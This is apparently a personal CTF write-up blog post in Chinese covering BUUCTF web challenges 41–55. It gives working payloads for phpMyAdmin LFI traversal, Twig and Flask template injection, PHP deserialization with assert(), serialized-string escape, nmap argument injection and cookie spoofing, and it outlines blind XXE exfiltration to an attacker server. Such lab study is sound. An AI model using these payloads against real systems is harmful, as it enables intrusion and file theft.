type
Post
status
Published
date
Mar 5, 2026
slug
buuctf-web-41-60
summary
BUUCTF平台刷题笔记-WEB
tags
CTF
WEB
category
CTF
icon
password
41-45
41. [NCTF2019]Fake XML cookbook
前置知识:
该函数可以读取xml
无回显攻击流程:
- 先调用%dtd,请求远程服务器(攻击服务器)上的evil.dtd。
- 再调用 evil.dtd中的 %file。%file 获取受攻击的服务器上面的敏感文件,然后将 %file 的返回结果传到%send 。
- 然后调用 %send; 把读取到的数据发送到远程服务器上。
对输入进行抓包,如下图

根据题目提示,猜测是XML注入,构造如下payload
重新发包后得到flag

42. [GWCTF 2019]我有一个数据库
进入靶场,是乱码

使用bp抓包,没有发现什么有用的信息

使用dirsearch扫描网站
dirsearch -u http://0d1bd4dc-16a1-4d36-81e9-c272439c6529.node5.buuoj.cn:81/ -x 429 -i 200,403 -t 5
访问robots.txt,结果如下:

然后根据目录扫描结果再访问phpmyadmin

在上图界面右下角可以看到phpmyadmin的版本是4.8.1,该版本存在漏洞
构造payload:
target=db_export.php%253f/../../../../../../../../etc/passwd
这说明LFI执行成功,接下来尝试访问flag
target=db_export.php%253f/../../../../../../../../flag
43. [BJDCTF2020]Mark loves cat
使用dirsearch进行目录扫描

发现有git,想到使用githack工具
使用工具拿到源码

其中
flag.php的内容如下index.php中重要内容如下代码中第一个foreach,可以使用post的任何键名来覆盖同名变量,比如post里面有
a=123就会执行$a=123第二个foreach:GET里每一对
x=y,都会让变量$x的值 = 变量$y的值。举
第三个foreach:如果
$_GET['flag'] 的值严格等于某个参数名$x,并且这个参数名不是 'flag',就直接 exit($handsome);然后判断GET和POST是否都没有传入flag,如果没有就退出
最后判断变量flag的值是否等于flag,如果等于就退出。
如果均绕过上述限制,就输出真正的flag
上面多个exit可以使用变量覆盖输出flag的内容,对于第一个exit。其思路如下:
- 用
handsome=flag让$handsome变量值变成$flag(真 flag)
- 再用
flag=handsome让$_GET['flag']等于"handsome"
- 触发第三段循环的条件,提前
exit($handsome),于是把真flag打出来
最后构造payload:
?handsome=flag&flag=handsome执行后得到flag

44. [WUSTCTF2020]朴实无华
扫描目录发现robots.txt,访问结果如下

访问该php,发现响应头中有提示

访问该文件后拿到源码
level1-intval()绕过
intval函数,此函数在处理数据时会在接触到字符串时停止,因此如果输入100e2之类的数据,会解释称100,但后面在执行+1时,100e2是解释称10000的,因此此处使用科学技术法绕过。level2-md5绕过
思路就是通过找到一个0e开头的值,且md5加密后的内容也是0e开头的,使得条件为真。那么找到了满足条件的值:0e215962017
level3-str_ireplace绕过
先用ls命令查看文件目录

然后使用
%09绕过空格拿到flag:?num=1e5&md5=0e215962017&get_flag=tac%09fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
45. [BJDCTF2020]Cookie is so stable
考点是SSTI的Twig模板注入

各种语言发生ssti注入的模版
输入{{7*‘7’}},返回49表示是Twig模块
输入{{7*‘7’}},返回7777777表示是Jinja2模块

该模版有通用的payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} 这里的id可以替换为任意代码
payload的输入位置在POST请求中的
Cookie,在PHPSESSID后添加user字段
46-50
46. [MRCTF2020]Ezpop
最终的目标是获取
flag.php中的flag,因此分析源代码,查看哪里可以获取到flag.php文件,发现在Modifier类中存在include($value),因此可以通过php伪协议来获取flag信息,所以现在的目标就变成了调用append函数。接着往下观察,发现__invoke函数调用了append函数,因此只要执行了__invoke函数一样可以获得flag信息。而__invoke函数会在尝试将对象调用为函数时触发。因此应该使用别的函数来调用
Modifier的一个对象,观察代码可知,只有Test类的__get函数中有return $function();,表示它会把 $function 当成函数来调用。因此现在目的就是调用__get()方法,而该方法在从不可访问的属性读取数据或者不存在这个键的时候都会调用该方法。所以就需要一个函数来调用test类中不存在的属性,这里的关键是
$this->str->source如果
$this->str 是一个 Test 对象,那么访问它的 source 属性时:Test类里并没有定义source
- 所以就会触发:
而一旦进入
__get(),里面又会执行:所以此时我们就需要通过执行
show类的__construct函数来执行__toString函数并且__construct函数中的echo 'Welcome to '.$this->source."<br>"中的$this->source需要为对象才可以执行__toString函数,因此需要创建show类的对象和赋予$this->source对象。payload如下:
运行结果:
O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D执行后结果:
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2FiY2Q0YWU1LWZkMjEtNGEyMC1iZDJjLWEwMjZhYTBmZDc3NH0iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+ 解码后得到flag:
47. [MRCTF2020]PYWebsite
查看源代码得到js判断逻辑:
直接访问
flag.php
看到提示除了购买者和自己,于是加入X-Forwarded-For请求头,得到flag

48. [安洵杯 2019]easy_web
进入题目发现链接自带了参数
http://780bf6be-49d3-4db5-955a-620f305286a1.node5.buuoj.cn:81/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=解码img对应的部分,经过两次base64解码,再经过一次hex解码,得到
555.png
于是尝试把index.php反向处理传入参数,处理后得到
TmprZ05tVWdOalFnTmpVZ056Z2dNbVVnTnpBZ05qZ2dOekE9
发送后得到index.php的base64编码

解码后关键内容如下:
关键是执行
echo `$cmd`命令需要满足if判断中的两个条件利用反斜杠绕过过滤,然后绕过一个md5强比较
payload:

49. [WesternCTF2018]shrine
打开网页拿到源代码
其中
app.config['FLAG'] = os.environ.pop('FLAG') 表示- 从系统环境变量里取出
FLAG
- 把它放进 Flask 的配置
app.config里
- 同时用
pop把环境变量里的FLAG删除掉
然后下面的代码定义了动态路由,如果访问
/shrine/hello,那么shrine变量就是hello输入
http://e0ff787d-93fa-4ac2-9a9a-6deecd2d8a51.node5.buuoj.cn:81/shrine/{{7*7}} 简单测试得到49。黑名单中过滤了
config和selfurl_for()会返回视图函数对应的URL我们注入
{url_for.__globals__}得到
然后注入
/shrine/{{url_for.__globals__['current_app'].config}},得到flag
50. [安洵杯 2019]easy_serialize_php
观察代码可以知道它的处理流程:
首先接受一个名为
f的get传参并赋值给了$function然后
$serialize_info = filter(serialize($_SESSION));将整个session序列化之后交给filter函数处理,然后赋值给$serialize_info继续看题目的源码,可以知道在
$userinfo = unserialize($serialize_info);这里进行反序列化也就是说先序列化
$_SESSION,然后再经过一个过滤函数,再反序列化出来。然后看到phpinfo()那里有提示,查看后发现

整理思路:首先传参
?f=show_image然后使用
file_get_contents函数来读取文件,即让其中$_userinfo[’img’]的值为这个文件的base64编码,从而读取到该文件的内容。但是这里不能指定img,否则会被
sha1函数加密,就不能被base64_decode解码因此这里需要通过序列化来指定读取文件的路径,由于filter函数进行了过滤,一些敏感字符替换为空了,所以长度会缩短,这里就存在反序列化字符串逃逸漏洞。
原理:在构造键值的时候某些关键字被过滤掉了,但序列化后的字符串记录的长度不会因为过滤而改变,所以就会把序列化后的字符串的结构当做值的内容给读取
d0g3_f1ag.php⇒ZDBnM19mMWFnLnBocA==本地输出一下序列化之后的内容
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:14:"highlight_file";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}这里可以控制的部分是user和function的内容
于是要利用过滤,用user吃掉后面的,加
;闭合掉前面的键值function之后在 function 的部分便可以写入数据控制后面的内容了
要吃掉的数据一共是22个,于是user的值为
phpphpphpphpphpphpflag_SESSION[function]的值为这里要保证数组内的个数相等,所以要传入两个值
再传入
f = show_image即可查看文件
执行后查看源代码得到下面的内容
/d0g3_fllllllag⇒L2QwZzNfZmxsbGxsbGFn替换命令后再次执行拿到flag

51-55
51. [BSidesCF 2019]Kookie
进入之后,在左上角发现提示:存在一个账号,其用户名为cookie,密码为monster
登录之后,把cookie中username字段的值改成admin,得到flag


52. [网鼎杯 2020 朱雀组]Nmap
进入题目,查看源代码发现提示flag位置

Nmap相关参数如下
- iL 读取文件内容,以文件内容作为搜索目标
- o 输出到文件

看上去会把输入的内容萍姐到nmap命令中
构建下面字符串
127.0.0.1' -iL /flag -o aaa127.0.0.1' -iL /flag -o aaa →'127.0.0.1'\'' -iL /flag -o aaa' →'127.0.0.1'\\'' -iL /flag -o aaa\'执行之后,访问相关链接得到flag

53. [NPUCTF2020]ReadlezPHP
进入页面,查看源代码,发现可疑链接

点击该链接,得到php代码如下:
构造反序列化语句,这里使用
assert()函数,assert()函数会执行括号里的命令,形如assert(phpinfo())是合法的。传参:
O:8:"HelloPhp":2:{s:1:"a";s:9:"phpinfo()";s:1:"b";s:6:"assert";}
搜索flag拿到flag
54. [CISCN2019 华东南赛区]Web11
smarty模版ssti注入

55. [强网杯 2019]高明的黑客
访问题目,根据题目下载压缩包,解压后得到3002个php文件
看样子是要写脚本找到存在漏洞可以获取flag的php文件,网上找师傅的脚本,修改后如下所示:
使用phpstudy搭建一个本地网站,然后执行该脚本


根据结果访问对应php,得到flag
http://b4a3ecd3-6d0d-441c-806e-85dd01529649.node5.buuoj.cn:81/xk0SzyKwfzw.php?Efa5BVG=cat /flag
- 作者:Yuyuzheng2499
- 链接:http://yuyuzheng2499.com/ctf/buuctf-web-41-60
- 声明:本文采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。





